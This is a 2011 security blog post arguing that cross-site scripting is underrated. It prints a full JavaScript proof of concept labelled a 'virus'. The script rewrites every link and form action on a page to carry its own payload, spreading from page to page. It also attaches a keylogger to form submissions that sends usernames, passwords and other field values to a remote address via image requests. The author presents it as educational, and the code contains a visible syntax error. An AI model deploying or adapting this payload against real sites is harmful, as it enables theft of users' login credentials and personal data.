Archive for December, 2011

Eliminating the myths of XSS attacks

Thursday, December 8th, 2011

In this post I will introduce you to undiscovered usages of an XSS, and also demonstrate how to transform a non-persistent XSS to a persistent and make an actual practical threat. Cross site scripting attacks are listed as number two on OWASP’s top 10 list of application security risks year 2010, and I wouldn’t expect those numbers to drop anytime soon.

The used attack vectors of an XSS are quite simple:

  1. Attacker injects code into data which the server reflects, other users visit the page where the malicious code is displayed and get their cookies stolen.
  2. Attacker injects code into request parameters that the server reflects, sends infected URI to the victim user whose cookie is stolen.
  3. Attacker injects code that exploits unknown web browser vulnerability to install malware on the users computer into request parameters that is somehow (either through number one or number two) executed by the user.
  4. Attacker injects malicious login form and performs a phishing attack on the victim.

That’s pretty much it. When an XSS is demonstrated, persistent or not, a researcher will throw a JavaScript alert() message or inject a cookie stealer. In the eye of the unconscious developer of the site, your alert() doesn’t mean anything. Fake JavaScript page defacements don’t mean a thing either. “Oh, you can give me a warning? Good for you.” The only time they will act is when your injection can somehow mess up the way the page looks. And not because it’s a security risk, but because it’s messing up their layout.

Nobody cares about stolen cookies. And why would they? Cookies are not the issue. It’s common praxis to require re-authentication, like password input, besides session values to change things that will affect requiring new session values: new e-mail address, new password, etc. In truly sensitive systems cookies should be bound to the user’s IP address, and if the attacker has local access to the victim’s IP address there are so many attack possibilities that the cookie isn’t the victim’s largest problem.

I believe that it’s safe to assume that the popularity of unpatched XSS vulnerabilities is due to warnings about nonthreatening threats. “Hey man, check this out. I totally just alert(‘hax’):ed your site locally in my own browser without affecting anybody!” Nobody is going to take that seriously.

Keep in mind that there’s a huge differentiating detail between a vulnerable GET and POST parameter. For logical reasons web browsers perform GET requests by default, and maliciously getting a user to submit something with an infected POST parameter is (“should” be) harder than giving them a link.

Broadening the scope of an XSS attack

As a demonstration of what JavaScript is truly capable of when used for malicious purposes, I have written a self aware virus that infects links and forms (href and action attributes) with its own payload when an infected victim’s web browser renders the page. The virus looks for a query parameter containing \%3c\%73\%63\%72\%69\%70\%74 (<script) in the query of an URI and then infects the target destinations with itself so that it’s kept for a longer period than just the one page the user is viewing. It should logically always find at least one occurrence of itself, otherwise it wouldn’t execute to begin with.

This way, the virus spreads through transformation from a non-persistent XSS injection to a semi-persistent. It exercises worm-like behavior; not in the sense of spreading user->user, but page->page. It is, however, user borne if infected links are copied between multiple users. By infecting action attributes of form elements the infection is also active after the user has executed a login or logout, unless the web server performs a redirect to an uninfected URI.

Wonderfully enough, it’s possible to pass any GET parameters with any value you want to an httpd without breaking anything. You could GET http://www.nsa.gov/?bat=man without breaking anything, unhandled parameters are completely ignored. Thus our virus can be very aggressive about infection: the infected victim wouldn’t tell a difference either way. It’s quite unrare that a vulnerable CMS or MVC will allow the same vulnerable parameter to be passed to any visually rendered part of the site. Remember American Express?

Either way, login credentials are sent to a remote location controlled by the attacker. All form elements are hooked up with a keylogger. By default, the virus makes HTTP requests to an URI controlled by the attacker, and requests the logged information making it show up in logs like GET /username=foo,password=bar It is very easy to hook it up with additional sniffing, e.g. parsing the rendered website for credit card information.

It’s written to be entirely independent of bloated JavaScript libraries and plugins to keep it as light weight as possible at execution. It’s still an educational proof of concept though, and some bugs are intentionally left unfixed.

// Inject param=payload into target
function inject(target, param, payload)
{
  if(!target.match("\\?"))
    return target + "?" + param + "=" + payload;
  return target + "&" + param + "=" + payload;
}

// Sends data to remote location
function snatch(data)
{
  var i = document.createElement("img");
  i.src = "http://127.0.0.1/" + data;
}

window.onload = function()
{
  window.location.toString().match(/\?(.+)/);
  var query = RegExp..split("&");

  for(i = 0; i < query.length; i++)
  {
    var tmp = query[i].split("=");
    var unescaped = unescape(tmp[1]);
    var payload = "";

    for(x = 0; x < unescaped.length; x++)
      payload += '%' + unescaped.charCodeAt(x).toString(16);

    // Found self
    if(payload.match("\%3c\%73\%63\%72\%69\%70\%74"))
    {
      var param = tmp[0];
      break;
    }
  }

  // Infect href elements
  var links = document.getElementsByTagName("a");
  for(i = 0; i < links.length; i++)
    links[i].href = inject(links[i].href, param, payload);

  var forms = document.getElementsByTagName("form");
  for(i = 0; i < forms.length; i++)
  {
    // Infect action elements
    document.forms[i].action = inject(forms[i].action, param, payload);

    // Initialize keylogger
    document.forms[i].onsubmit = function()
    {
      var logged = new Array();
      for(x = 0; x < this.elements.length; x++)
        if(this.elements[x].type != "submit")
          logged[x] = this.elements[x].type + "=" + this.elements[x].value;
      snatch(logged);

      return true;
    }
  }
}

UPDATE: The method of spreading was first introduced in the BeEF framework